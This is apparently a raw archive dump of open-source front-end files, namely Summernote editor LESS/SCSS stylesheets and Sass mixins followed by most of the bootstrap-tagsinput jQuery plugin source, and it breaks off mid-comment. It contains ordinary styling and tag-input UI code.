padding: 0 0 5px 5px; &>.btn-group { margin-top: 5px; margin-left: 0; margin-right: 5px; } .btn-group { .note-table { min-width: 0; padding: 5px; .note-dimension-picker { font-size: 18px; .note-dimension-picker-mousecatcher { position: absolute !important; z-index: 3; width: 10em; height: 10em; cursor: pointer; } .note-dimension-picker-unhighlighted { position: relative !important; z-index: 1; width: 5em; height: 5em; background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat; } .note-dimension-picker-highlighted { position: absolute !important; z-index: 2; width: 1em; height: 1em; background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat; } } } } .note-style { .dropdown-style { blockquote, pre { margin: 0; padding: 5px 10px; } h1, h2, h3, h4, h5, h6, p { margin: 0; padding: 0; } } } .note-color { .dropdown-toggle { width: 20px; padding-left: 5px; } .dropdown-menu { min-width: 337px; .note-palette { display: inline-block; margin: 0; width: 160px; &:first-child { margin: 0 5px; } .note-palette-title { font-size: 12px; margin: 2px 7px; text-align: center; border-bottom: 1px solid #eee; } .note-color-reset { margin: 3px; padding: 0 3px; width: 100%; font-size: 11px; cursor: pointer; .rounded(5px); } .note-color-row { height: 20px; } .note-color-reset:hover { background: #eee; } } } } .note-para { .dropdown-menu { min-width: 216px; padding: 5px; &>div:first-child { margin-right: 5px; } } } /* dropdown-menu for toolbar and popover */ .dropdown-menu { min-width: 90px; /* dropdown-menu right position */ /* http://forrst.com/posts/Bootstrap_right_positioned_dropdown-2KB */ &.right { right: 0; left: auto; &::before { right: 9px; left: auto !important; } &::after { right: 10px; left: auto !important; } } /* dropdown-menu for selectbox */ &.note-check { a i { color: deepskyblue; visibility: hidden; } a.checked i { visibility: visible; } } } .note-fontsize-10 { font-size: 10px; } /* color palette for toolbar and popover */ .note-color-palette { line-height: 1; div { .note-color-btn { width: 20px; height: 20px; padding: 0; margin: 0; border: 1px solid #fff; } .note-color-btn:hover { border: 1px solid #000; } } } } /* Dialog ------------------------------------------*/ .note-dialog { &>div { display: none; /* BS2's hide pacth. */ } .form-group { /* overwrite BS's form-horizontal minus margins */ margin-left: 0; margin-right: 0; } .note-modal-form { margin: 0; /* overwrite BS2's form margin bottom */ } .note-image-dialog { .note-dropzone { min-height: 100px; font-size: 30px; line-height: 4; /* vertical-align */ color: lightgray; text-align: center; border: 4px dashed lightgray; margin-bottom: 10px; } } // [workaround] firefox fileinput @-moz-document url-prefix() { .note-image-input { height: auto; } } } /* Placeholder ------------------------------------------*/ .note-placeholder { position: absolute; display: none; color: gray; } /* Handle ------------------------------------------*/ .note-handle { /* control selection */ .note-control-selection { position: absolute; display: none; border: 1px solid black; &>div { position: absolute; } .note-control-selection-bg { width: 100%; height: 100%; background-color: black; .opacity(0.30) } .note-control-handle { width: 7px; height: 7px; border: 1px solid black; } .note-control-holder { .note-control-handle; } .note-control-sizing { .note-control-handle; background-color: white; } .note-control-nw { top: -5px; left: -5px; border-right: none; border-bottom: none; } .note-control-ne { top: -5px; right: -5px; border-bottom: none; border-left: none; } .note-control-sw { bottom: -5px; left: -5px; border-top: none; border-right: none; } .note-control-se { right: -5px; bottom: -5px; cursor: se-resize; } .note-control-se.note-control-holder { cursor: default; border-top: none; border-left: none; } .note-control-selection-info { right: 0; bottom: 0; padding: 5px; margin: 5px; color: #fff; background-color: #000; font-size: 12px; .rounded(5px); .opacity(0.7); } } } .note-hint-popover { min-width: 100px; padding: 2px; .popover-content { padding: 3px; max-height: 150px; overflow: auto; .note-hint-group { .note-hint-item { display: block !important; padding: 3px; &.active, &:hover { display: block; clear: both; font-weight: 400; line-height: 1.4; color: #fff; white-space: nowrap; text-decoration: none; background-color: #428bca; outline: 0; cursor: pointer; } } } } } less/summernote-bs4.scss000064400000027102151677272030011307 0ustar00@import "elements.scss"; /* Theme Variables ------------------------------------------*/ $border-color: #a9a9a9; $background-color: #f5f5f5; $img-margin-left: 10px; $img-margin-right: 10px; /* Layout ------------------------------------------*/ .note-editor { position: relative; /* dropzone */ $dropzone-color: lightskyblue; $dropzone-active-color: darken($dropzone-color, 30); .note-dropzone { position: absolute; display: none; z-index: 100; color: $dropzone-color; background-color: #fff; opacity: 0.95; .note-dropzone-message { display: table-cell; vertical-align: middle; text-align: center; font-size: 28px; font-weight: 700; } &.hover { color: $dropzone-active-color; } } &.dragover .note-dropzone { display: table; } .note-editing-area { position: relative; .note-editable { outline: none; sup { vertical-align: super; } sub { vertical-align: sub; } img.note-float-left { margin-right: $img-margin-right; } img.note-float-right { margin-left: $img-margin-left; } } } } /* Frame mode layout ------------------------------------------*/ .note-editor.note-frame { border: 1px solid $border-color; /* codeview mode */ &.codeview { .note-editing-area { .note-editable { display: none; } .note-codable { display: block; } } } .note-editing-area { overflow: hidden; /* editable */ .note-editable { background-color: #fff; color: #000; padding: 10px; overflow: auto; word-wrap: break-word; &[contenteditable="false"] { background-color: #e5e5e5; } } /* codeable */ .note-codable { display: none; width: 100%; padding: 10px; border: none; box-shadow: none; font-family: Menlo, Monaco, monospace, sans-serif; font-size: 14px; color: #ccc; background-color: #222; resize: none; /* override BS2 default style */ @include box-sizing(border-box); @include rounded(0); margin-bottom: 0; } } /* fullscreen mode */ &.fullscreen { position: fixed; top: 0; left: 0; width: 100% !important; z-index: 1050; /* bs3 modal-backdrop: 1030, bs2: 1040 */ .note-editable { background-color: #fff; } .note-resizebar { display: none; } } /* Notifications */ .note-status-output { display: block; width: 100%; font-size: 14px; line-height: 1.42857143; height: 20px; margin-bottom: 0; color: #000; border: 0; border-top: 1px solid #e2e2e2 } .note-status-output:empty { height: 0; border-top: 0 solid transparent } .note-status-output .pull-right { float: right !important } .note-status-output .text-muted { color: #777 } .note-status-output .text-primary { color: #286090 } .note-status-output .text-success { color: #3c763d } .note-status-output .text-info { color: #31708f } .note-status-output .text-warning { color: #8a6d3b } .note-status-output .text-danger { color:#a94442 } .note-status-output .alert { margin: -7px 0 0 0; padding: 7px 10px 2px 10px; border-radius: 0; color: #000; background-color: #f5f5f5; } .note-status-output .alert .note-icon{ margin-right: 5px } .note-status-output .alert-success { color: #3c763d !important; background-color: #dff0d8 !important; } .note-status-output .alert-info { color: #31708f !important; background-color: #d9edf7 !important; } .note-status-output .alert-warning { color: #8a6d3b !important; background-color: #fcf8e3 !important; } .note-status-output .alert-danger { color: #a94442 !important; background-color: #f2dede !important; } /* statusbar */ .note-statusbar { background-color: $background-color; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top: 1px solid #ddd; .note-resizebar { padding-top: 1px; height: 9px; width: 100%; cursor: ns-resize; .note-icon-bar { width: 20px; margin: 1px auto; border-top: 1px solid $border-color; } } &.locked { .note-resizebar { cursor: default; .note-icon-bar { display: none; } } } } .note-placeholder { padding: 10px; } } /* Popover ------------------------------------------*/ .note-popover.popover { max-width: none; .popover-content { a { display: inline-block; max-width: 200px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; /* for FF */ vertical-align: middle; /* for FF */ } } .arrow { left: 20px !important; } } /* Popover and Toolbar (Button container) ------------------------------------------*/ .note-popover .popover-content, .panel-heading.note-toolbar { margin: 0; padding: 0 0 5px 5px; &>.btn-group { margin-top: 5px; margin-left: 0; margin-right: 5px; } .btn-group { .note-table { min-width: 0; padding: 5px; .note-dimension-picker { font-size: 18px; .note-dimension-picker-mousecatcher { position: absolute !important; z-index: 3; width: 10em; height: 10em; cursor: pointer; } .note-dimension-picker-unhighlighted { position: relative !important; z-index: 1; width: 5em; height: 5em; background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat; } .note-dimension-picker-highlighted { position: absolute !important; z-index: 2; width: 1em; height: 1em; background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat; } } } } .note-style { .dropdown-style { blockquote, pre { margin: 0; padding: 5px 10px; } h1, h2, h3, h4, h5, h6, p { margin: 0; padding: 0; } } } .note-color { .dropdown-toggle { width: 20px; padding-left: 5px; } .dropdown-menu { min-width: 340px; .btn-group { margin: 0; &:first-child { margin: 0 5px; } .note-palette-title { font-size: 12px; margin: 2px 7px; text-align: center; border-bottom: 1px solid #eee; } .note-color-reset { font-size: 11px; margin: 3px; padding: 0 3px; cursor: pointer; @include rounded(5px); } .note-color-row { height: 20px; } .note-color-reset:hover { background: #eee; } } } } .note-para { .dropdown-menu { min-width: 216px; padding: 5px; &>div:first-child { margin-right: 5px; } } } /* dropdown-menu for toolbar and popover */ .dropdown-menu { min-width: 90px; /* dropdown-menu right position */ /* http://forrst.com/posts/Bootstrap_right_positioned_dropdown-2KB */ &.right { right: 0; left: auto; &::before { right: 9px; left: auto !important; } &::after { right: 10px; left: auto !important; } } /* dropdown-menu for selectbox */ &.note-check { li a i { color: deepskyblue; visibility: hidden; } li a.checked i { visibility: visible; } } } .note-fontsize-10 { font-size: 10px; } /* color palette for toolbar and popover */ .note-color-palette { line-height: 1; div { .note-color-btn { width: 20px; height: 20px; padding: 0; margin: 0; border: 1px solid #fff; } .note-color-btn:hover { border: 1px solid #000; } } } } /* Dialog ------------------------------------------*/ .note-dialog { &>div { display: none; /* BS2's hide pacth. */ } .form-group { /* overwrite BS's form-horizontal minus margins */ margin-left: 0; margin-right: 0; } .note-modal-form { margin: 0; /* overwrite BS2's form margin bottom */ } .note-image-dialog { .note-dropzone { min-height: 100px; font-size: 30px; line-height: 4; /* vertical-align */ color: lightgray; text-align: center; border: 4px dashed lightgray; margin-bottom: 10px; } } } /* Placeholder ------------------------------------------*/ .note-placeholder { position: absolute; display: none; color: gray; } /* Handle ------------------------------------------*/ .note-handle { /* control selection */ .note-control-selection { position: absolute; display: none; border: 1px solid black; &>div { position: absolute; } .note-control-selection-bg { width: 100%; height: 100%; background-color: #000; @include opacity(0.3); } .note-control-handle { width: 7px; height: 7px; border: 1px solid #000; } .note-control-holder { @extend .note-control-handle; } .note-control-sizing { @extend .note-control-handle; background-color: #fff; } .note-control-nw { top: -5px; left: -5px; border-right: none; border-bottom: none; } .note-control-ne { top: -5px; right: -5px; border-bottom: none; border-left: none; } .note-control-sw { bottom: -5px; left: -5px; border-top: none; border-right: none; } .note-control-se { right: -5px; bottom: -5px; cursor: se-resize; } .note-control-se.note-control-holder { cursor: default; border-top: none; border-left: none; } .note-control-selection-info { right: 0; bottom: 0; padding: 5px; margin: 5px; color: #fff; background-color: #000; font-size: 12px; @include rounded(5px); @include opacity(0.7); } } } .note-hint-popover { min-width: 100px; padding: 2px; .popover-content { padding: 3px; max-height: 150px; overflow: auto; .note-hint-group { .note-hint-item { display: block !important; padding: 3px; &.active, &:hover { display: block; clear: both; font-weight: 400; line-height: 1.4; color: white; white-space: nowrap; text-decoration: none; background-color: #428bca; outline: 0; cursor: pointer; } } } } } less/elements.scss000064400000013614151677272030010242 0ustar00@mixin gradient($color: #F5F5F5, $start: #EEE, $stop: #FFF) { background: $color; background: -webkit-gradient(linear, left bottom, left top, color-stop(0, $start), color-stop(1, $stop)); background: -ms-linear-gradient(bottom, $start, $stop); background: -moz-linear-gradient(center bottom, $start 0%, $stop 100%); background: -o-linear-gradient($stop, $start); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#{ie-hex-str($stop)}', endColorstr='#{ie-hex-str($start)}', GradientType=0); } @mixin bw-gradient($color: #F5F5F5, $start: 0, $stop: 255) { background: $color; background: -webkit-gradient(linear, left bottom, left top, color-stop(0, rgb($start,$start,$start)), color-stop(1, rgb($stop,$stop,$stop))); background: -ms-linear-gradient(bottom, rgb($start,$start,$start) 0%, rgb($stop,$stop,$stop) 100%); background: -moz-linear-gradient(center bottom, rgb($start,$start,$start) 0%, rgb($stop,$stop,$stop) 100%); background: -o-linear-gradient(rgb($stop,$stop,$stop), rgb($start,$start,$start)); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#{ie-hex-str(rgb($stop,$stop,$stop))}', endColorstr='#{ie-hex-str(rgb($start,$start,$start))}', GradientType=0); } @mixin bordered($top-color: #EEE, $right-color: #EEE, $bottom-color: #EEE, $left-color: #EEE) { border-top: solid 1px $top-color; border-left: solid 1px $left-color; border-right: solid 1px $right-color; border-bottom: solid 1px $bottom-color; } @mixin drop-shadow($x-axis: 0, $y-axis: 1px, $blur: 2px, $alpha: 0.1) { -webkit-box-shadow: $x-axis $y-axis $blur rgba(0, 0, 0, $alpha); -moz-box-shadow: $x-axis $y-axis $blur rgba(0, 0, 0, $alpha); box-shadow: $x-axis $y-axis $blur rgba(0, 0, 0, $alpha); } @mixin rounded($radius: 2px) { -webkit-border-radius: $radius; -moz-border-radius: $radius; border-radius: $radius; } @mixin border-radius($topright: 0, $bottomright: 0, $bottomleft: 0, $topleft: 0) { -webkit-border-top-right-radius: $topright; -webkit-border-bottom-right-radius: $bottomright; -webkit-border-bottom-left-radius: $bottomleft; -webkit-border-top-left-radius: $topleft; -moz-border-radius-topright: $topright; -moz-border-radius-bottomright: $bottomright; -moz-border-radius-bottomleft: $bottomleft; -moz-border-radius-topleft: $topleft; border-top-right-radius: $topright; border-bottom-right-radius: $bottomright; border-bottom-left-radius: $bottomleft; border-top-left-radius: $topleft; @include background-clip(padding-box); } @mixin opacity($opacity: 0.5) { -webkit-opacity: $opacity; -khtml-opacity: $opacity; -moz-opacity: $opacity; opacity: $opacity; $opperc: $opacity * 100; -ms-filter: progid:DXImageTransform.Microsoft.Alpha(opacity=#{$opperc}); filter: alpha(opacity=$opperc); } @mixin transition-duration($duration: 0.2s) { -moz-transition-duration: $duration; -webkit-transition-duration: $duration; -o-transition-duration: $duration; transition-duration: $duration; } @mixin transform($arguments...) { -webkit-transform: $arguments; -moz-transform: $arguments; -o-transform: $arguments; -ms-transform: $arguments; transform: $arguments; } @mixin rotation($deg:5deg) { @include transform(rotate($deg)); } @mixin scale($ratio:1.5) { @include transform(scale($ratio)); } @mixin transition($duration:0.2s, $ease:ease-out) { -webkit-transition: all $duration $ease; -moz-transition: all $duration $ease; -o-transition: all $duration $ease; transition: all $duration $ease; } @mixin inner-shadow($horizontal:0, $vertical:1px, $blur:2px, $alpha: 0.4) { -webkit-box-shadow: inset $horizontal $vertical $blur rgba(0, 0, 0, $alpha); -moz-box-shadow: inset $horizontal $vertical $blur rgba(0, 0, 0, $alpha); box-shadow: inset $horizontal $vertical $blur rgba(0, 0, 0, $alpha); } @mixin box-shadow($arguments) { -webkit-box-shadow: $arguments; -moz-box-shadow: $arguments; box-shadow: $arguments; } @mixin box-sizing($sizing: border-box) { -ms-box-sizing: $sizing; -moz-box-sizing: $sizing; -webkit-box-sizing: $sizing; box-sizing: $sizing; } @mixin user-select($argument: none) { -webkit-user-select: $argument; -moz-user-select: $argument; -ms-user-select: $argument; user-select: $argument; } @mixin columns($colwidth: 250px, $colcount: 0, $colgap: 50px, $columnRuleColor: #EEE, $columnRuleStyle: solid, $columnRuleWidth: 1px) { -moz-column-width: $colwidth; -moz-column-count: $colcount; -moz-column-gap: $colgap; -moz-column-rule-color: $columnRuleColor; -moz-column-rule-style: $columnRuleStyle; -moz-column-rule-width: $columnRuleWidth; -webkit-column-width: $colwidth; -webkit-column-count: $colcount; -webkit-column-gap: $colgap; -webkit-column-rule-color: $columnRuleColor; -webkit-column-rule-style: $columnRuleStyle; -webkit-column-rule-width: $columnRuleWidth; column-width: $colwidth; column-count: $colcount; column-gap: $colgap; column-rule-color: $columnRuleColor; column-rule-style: $columnRuleStyle; column-rule-width: $columnRuleWidth; } @mixin translate($x:0, $y:0) { @include transform(translate($x, $y)); } @mixin background-clip($argument: padding-box) { -moz-background-clip: $argument; -webkit-background-clip: $argument; background-clip: $argument; } bootstrap-tagsinput.js000064400000053635151677277600011171 0ustar00(function ($) { "use strict"; var defaultOptions = { tagClass: function(item) { return 'label label-info'; }, itemValue: function(item) { return item ? item.toString() : item; }, itemText: function(item) { return this.itemValue(item); }, itemTitle: function(item) { return null; }, freeInput: true, addOnBlur: true, maxTags: undefined, maxChars: undefined, confirmKeys: [13, 44], delimiter: ',', delimiterRegex: null, cancelConfirmKeysOnEmpty: false, onTagExists: function(item, $tag) { $tag.hide().fadeIn(); }, trimValue: false, allowDuplicates: false }; /** * Constructor function */ function TagsInput(element, options) { this.isInit = true; this.itemsArray = []; this.$element = $(element); this.$element.hide(); this.isSelect = (element.tagName === 'SELECT'); this.multiple = (this.isSelect && element.hasAttribute('multiple')); this.objectItems = options && options.itemValue; this.placeholderText = element.hasAttribute('placeholder') ? this.$element.attr('placeholder') : ''; this.inputSize = Math.max(1, this.placeholderText.length); this.$container = $('<div class="bootstrap-tagsinput"></div>'); this.$input = $('<input type="text" placeholder="' + this.placeholderText + '"/>').appendTo(this.$container); this.$element.before(this.$container); this.build(options); this.isInit = false; } TagsInput.prototype = { constructor: TagsInput, /** * Adds the given item as a new tag. Pass true to dontPushVal to prevent * updating the elements val() */ add: function(item, dontPushVal, options) { var self = this; if (self.options.maxTags && self.itemsArray.length >= self.options.maxTags) return; // Ignore falsey values, except false if (item !== false && !item) return; // Trim value if (typeof item === "string" && self.options.trimValue) { item = $.trim(item); } // Throw an error when trying to add an object while the itemValue option was not set if (typeof item === "object" && !self.objectItems) throw("Can't add objects when itemValue option is not set"); // Ignore strings only containg whitespace if (item.toString().match(/^\s*$/)) return; // If SELECT but not multiple, remove current tag if (self.isSelect && !self.multiple && self.itemsArray.length > 0) self.remove(self.itemsArray[0]); if (typeof item === "string" && this.$element[0].tagName === 'INPUT') { var delimiter = (self.options.delimiterRegex) ? self.options.delimiterRegex : self.options.delimiter; var items = item.split(delimiter); if (items.length > 1) { for (var i = 0; i < items.length; i++) { this.add(items[i], true); } if (!dontPushVal) self.pushVal(); return; } } var itemValue = self.options.itemValue(item), itemText = self.options.itemText(item), tagClass = self.options.tagClass(item), itemTitle = self.options.itemTitle(item); // Ignore items allready added var existing = $.grep(self.itemsArray, function(item) { return self.options.itemValue(item) === itemValue; } )[0]; if (existing && !self.options.allowDuplicates) { // Invoke onTagExists if (self.options.onTagExists) { var $existingTag = $(".tag", self.$container).filter(function() { return $(this).data("item") === existing; }); self.options.onTagExists(item, $existingTag); } return; } // if length greater than limit if (self.items().toString().length + item.length + 1 > self.options.maxInputLength) return; // raise beforeItemAdd arg var beforeItemAddEvent = $.Event('beforeItemAdd', { item: item, cancel: false, options: options}); self.$element.trigger(beforeItemAddEvent); if (beforeItemAddEvent.cancel) return; // register item in internal array and map self.itemsArray.push(item); // add a tag element var $tag = $('<span class="tag ' + htmlEncode(tagClass) + (itemTitle !== null ? ('" title="' + itemTitle) : '') + '">' + htmlEncode(itemText) + '<span data-role="remove"></span></span>'); $tag.data('item', item); self.findInputWrapper().before($tag); $tag.after(' '); // Check to see if the tag exists in its raw or uri-encoded form var optionExists = ( $('option[value="' + encodeURIComponent(itemValue) + '"]', self.$element).length || $('option[value="' + htmlEncode(itemValue) + '"]', self.$element).length ); // add <option /> if item represents a value not present in one of the <select />'s options if (self.isSelect && !optionExists) { var $option = $('<option selected>' + htmlEncode(itemText) + '</option>'); $option.data('item', item); $option.attr('value', itemValue); self.$element.append($option); } if (!dontPushVal) self.pushVal(); // Add class when reached maxTags if (self.options.maxTags === self.itemsArray.length || self.items().toString().length === self.options.maxInputLength) self.$container.addClass('bootstrap-tagsinput-max'); // If using typeahead, once the tag has been added, clear the typeahead value so it does not stick around in the input. if ($('.typeahead, .twitter-typeahead', self.$container).length) { self.$input.typeahead('val', ''); } if (this.isInit) { self.$element.trigger($.Event('itemAddedOnInit', { item: item, options: options })); } else { self.$element.trigger($.Event('itemAdded', { item: item, options: options })); } }, /** * Removes the given item. Pass true to dontPushVal to prevent updating the * elements val() */ remove: function(item, dontPushVal, options) { var self = this; if (self.objectItems) { if (typeof item === "object") item = $.grep(self.itemsArray, function(other) { return self.options.itemValue(other) == self.options.itemValue(item); } ); else item = $.grep(self.itemsArray, function(other) { return self.options.itemValue(other) == item; } ); item = item[item.length-1]; } if (item) { var beforeItemRemoveEvent = $.Event('beforeItemRemove', { item: item, cancel: false, options: options }); self.$element.trigger(beforeItemRemoveEvent); if (beforeItemRemoveEvent.cancel) return; $('.tag', self.$container).filter(function() { return $(this).data('item') === item; }).remove(); $('option', self.$element).filter(function() { return $(this).data('item') === item; }).remove(); if($.inArray(item, self.itemsArray) !== -1) self.itemsArray.splice($.inArray(item, self.itemsArray), 1); } if (!dontPushVal) self.pushVal(); // Remove class when reached maxTags if (self.options.maxTags > self.itemsArray.length) self.$container.removeClass('bootstrap-tagsinput-max'); self.$element.trigger($.Event('itemRemoved', { item: item, options: options })); }, /** * Removes all items */ removeAll: function() { var self = this; $('.tag', self.$container).remove(); $('option', self.$element).remove(); while(self.itemsArray.length > 0) self.itemsArray.pop(); self.pushVal(); }, /** * Refreshes the tags so they match the text/value of their corresponding * item. */ refresh: function() { var self = this; $('.tag', self.$container).each(function() { var $tag = $(this), item = $tag.data('item'), itemValue = self.options.itemValue(item), itemText = self.options.itemText(item), tagClass = self.options.tagClass(item); // Update tag's class and inner text $tag.attr('class', null); $tag.addClass('tag ' + htmlEncode(tagClass)); $tag.contents().filter(function() { return this.nodeType == 3; })[0].nodeValue = htmlEncode(itemText); if (self.isSelect) { var option = $('option', self.$element).filter(function() { return $(this).data('item') === item; }); option.attr('value', itemValue); } }); }, /** * Returns the items added as tags */ items: function() { return this.itemsArray; }, /** * Assembly value by retrieving the value of each item, and set it on the * element. */ pushVal: function() { var self = this, val = $.map(self.items(), function(item) { return self.options.itemValue(item).toString(); }); self.$element.val(val, true).trigger('change'); }, /** * Initializes the tags input behaviour on the element */ build: function(options) { var self = this; self.options = $.extend({}, defaultOptions, options); // When itemValue is set, freeInput should always be false if (self.objectItems) self.options.freeInput = false; makeOptionItemFunction(self.options, 'itemValue'); makeOptionItemFunction(self.options, 'itemText'); makeOptionFunction(self.options, 'tagClass'); // Typeahead Bootstrap version 2.3.2 if (self.options.typeahead) { var typeahead = self.options.typeahead || {}; makeOptionFunction(typeahead, 'source'); self.$input.typeahead($.extend({}, typeahead, { source: function (query, process) { function processItems(items) { var texts = []; for (var i = 0; i < items.length; i++) { var text = self.options.itemText(items[i]); map[text] = items[i]; texts.push(text); } process(texts); } this.map = {}; var map = this.map, data = typeahead.source(query); if ($.isFunction(data.success)) { // support for Angular callbacks data.success(processItems); } else if ($.isFunction(data.then)) { // support for Angular promises data.then(processItems); } else { // support for functions and jquery promises $.when(data) .then(processItems); } }, updater: function (text) { self.add(this.map[text]); return this.map[text]; }, matcher: function (text) { return (text.toLowerCase().indexOf(this.query.trim().toLowerCase()) !== -1); }, sorter: function (texts) { return texts.sort(); }, highlighter: function (text) { var regex = new RegExp( '(' + this.query + ')', 'gi' ); return text.replace( regex, "<strong>$1</strong>" ); } })); } // typeahead.js if (self.options.typeaheadjs) { var typeaheadConfig = null; var typeaheadDatasets = {}; // Determine if main configurations were passed or simply a dataset var typeaheadjs = self.options.typeaheadjs; if ($.isArray(typeaheadjs)) { typeaheadConfig = typeaheadjs[0]; typeaheadDatasets = typeaheadjs[1]; } else { typeaheadDatasets = typeaheadjs; } self.$input.typeahead(typeaheadConfig, typeaheadDatasets).on('typeahead:selected', $.proxy(function (obj, datum) { if (typeaheadDatasets.valueKey) self.add(datum[typeaheadDatasets.valueKey]); else self.add(datum); self.$input.typeahead('val', ''); }, self)); } self.$container.on('click', $.proxy(function(event) { if (! self.$element.attr('disabled')) { self.$input.removeAttr('disabled'); } self.$input.focus(); }, self)); if (self.options.addOnBlur && self.options.freeInput) { self.$input.on('focusout', $.proxy(function(event) { // HACK: only process on focusout when no typeahead opened, to // avoid adding the typeahead text as tag if ($('.typeahead, .twitter-typeahead', self.$container).length === 0) { self.add(self.$input.val()); self.$input.val(''); } }, self)); } self.$container.on('keydown', 'input', $.proxy(function(event) { var $input = $(event.target), $inputWrapper = self.findInputWrapper(); if (self.$element.attr('disabled')) { self.$input.attr('disabled', 'disabled'); return; } switch (event.which) { // BACKSPACE case 8: if (doGetCaretPosition($input[0]) === 0) { var prev = $inputWrapper.prev(); if (prev.length) { self.remove(prev.data('item')); } } break; // DELETE case 46: if (doGetCaretPosition($input[0]) === 0) { var next = $inputWrapper.next(); if (next.length) { self.remove(next.data('item')); } } break; // LEFT ARROW case 37: // Try to move the input before the previous tag var $prevTag = $inputWrapper.prev(); if ($input.val().length === 0 && $prevTag[0]) { $prevTag.before($inputWrapper); $input.focus(); } break; // RIGHT ARROW case 39: // Try to move the input after the next tag var $nextTag = $inputWrapper.next(); if ($input.val().length === 0 && $nextTag[0]) { $nextTag.after($inputWrapper); $input.focus(); } break; default: // ignore } // Reset internal input's size var textLength = $input.val().length, wordSpace = Math.ceil(textLength / 5), size = textLength + wordSpace + 1; $input.attr('size', Math.max(this.inputSize, $input.val().length)); }, self)); self.$container.on('keypress', 'input', $.proxy(function(event) { var $input = $(event.target); if (self.$element.attr('disabled')) { self.$input.attr('disabled', 'disabled'); return; } var text = $input.val(), maxLengthReached = self.options.maxChars && text.length >= self.options.maxChars; if (self.options.freeInput && (keyCombinationInList(event, self.options.confirmKeys) || maxLengthReached)) { // Only attempt to add a tag if there is data in the field if (text.length !== 0) { self.add(maxLengthReached ? text.substr(0, self.options.maxChars) : text); $input.val(''); } // If the field is empty, let the event triggered fire as usual if (self.options.cancelConfirmKeysOnEmpty === false) { event.preventDefault(); } } // Reset internal input's size var textLength = $input.val().length, wordSpace = Math.ceil(textLength / 5), size = textLength + wordSpace + 1; $input.attr('size', Math.max(this.inputSize, $input.val().length)); }, self)); // Remove icon clicked self.$container.on('click', '[data-role=remove]', $.proxy(function(event) { if (self.$element.attr('disabled')) { return; } self.remove($(event.target).closest('.tag').data('item')); }, self)); // Only add existing value as tags when using strings as tags if (self.options.itemValue === defaultOptions.itemValue) { if (self.$element[0].tagName === 'INPUT') { self.add(self.$element.val()); } else { $('option', self.$element).each(function() { self.add($(this).attr('value'), true); }); } } }, /** * Removes all tagsinput behaviour and unregsiter all event handlers */ destroy: function() { var self = this; // Unbind events self.$container.off('keypress', 'input'); self.$container.off('click', '[role=remove]'); self.$container.remove(); self.$element.removeData('tagsinput'); self.$element.show(); }, /** * Sets focus on the tagsinput */ focus: function() { this.$input.focus(); }, /** * Returns the internal input element */ input: function() { return this.$input; }, /** * Returns the element which is wrapped around the internal input. This * is normally the $container, but typeahead.js moves the $input element. */ findInputWrapper: function() { var elt = this.$input[0], container = this.$container[0]; while(elt && elt.parentNode !== container) elt = elt.parentNode; return $(elt); } }; /** * Register JQuery plugin */ $.fn.tagsinput = function(arg1, arg2, arg3) { var results = []; this.each(function() { var tagsinput = $(this).data('tagsinput'); // Initialize a new tags input if (!tagsinput) { tagsinput = new TagsInput(this, arg1); $(this).data('tagsinput', tagsinput); results.push(tagsinput); if (this.tagName === 'SELECT') { $('option', $(this)).attr('selected', 'selected'); } // Init tags from $(this).val() $(this).val($(this).val()); } else if (!arg1 && !arg2) { // tagsinput already exists // no function, trying to init results.push(tagsinput); } else if(tagsinput[arg1] !== undefined) { // Invoke function on existing tags input if(tagsinput[arg1].length === 3 && arg3 !== undefined){ var retVal = tagsinput[arg1](arg2, null, arg3); }else{ var retVal = tagsinput[arg1](arg2); } if (retVal !== undefined) results.push(retVal); } }); if ( typeof arg1 == 'string') { // Return the results from the invoked function calls return results.length > 1 ? results : results[0]; } else { return results; } }; $.fn.tagsinput.Constructor = TagsInput; /** * Most options support both a string or number as well as a function as * option value. This function makes sure that the option with the given * key in the given options is wrapped in a function */ function makeOptionItemFunction(options, key) { if (typeof options[key] !== 'function') { var propertyName = options[key]; options[key] = function(item) { return item[propertyName]; }; } } function makeOptionFunction(options, key) { if (typeof options[key] !== 'function') { var value = options[key]; options[key] = function() { return value; }; } } /** * HtmlEncodes the given value */ var htmlEncodeContainer = $('<div />'); function htmlEncode(value) { if (value) { return htmlEncodeContainer.text(value).html(); } else { return ''; } } /** * Returns the position of the caret in the given input field * http://flightschool.acylt.com/devnotes/caret-position-woes/ */ function doGetCaretPosition(oField) { var iCaretPos = 0; if (document.selection) { oField.focus (); var oSel = document.selection.createRange(); oSel.moveStart ('character', -oField.value.length); iCaretPos = oSel.text.length; } else if (oField.selectionStart || oField.selectionStart == '0') { iCaretPos = oField.selectionStart; } return (iCaretPos); } /** * Returns boolean indicates whether user has pressed an expected key combination. * 